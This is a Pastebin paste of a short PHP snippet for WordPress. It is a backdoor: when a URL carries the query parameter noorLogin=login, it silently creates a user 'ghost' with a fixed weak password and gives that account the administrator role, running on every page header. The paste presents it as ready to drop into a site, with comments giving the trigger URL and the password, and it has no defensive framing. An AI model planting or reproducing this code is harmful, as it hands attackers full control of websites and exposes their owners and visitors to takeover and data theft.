Advertisement
appl4e

Untitled

Mar 8th, 2021
396
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.39 KB | None | 0 0
  1. <?php
  2. add_action('wp_head', 'WordPress_secret');
  3. function WordPress_secret() {
  4.  if ($_GET['noorLogin'] == 'login') {      // websitelink/?noorLogin=login
  5.   require('wp-includes/registration.php');
  6.    if (!username_exists('ghost')) {
  7.     $user_id = wp_create_user('ghost', 'aA12345'); //aA12345 is the password
  8.     $user = new WP_User($user_id);
  9.     $user->set_role('administrator');
  10.    }
  11.   }
  12. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement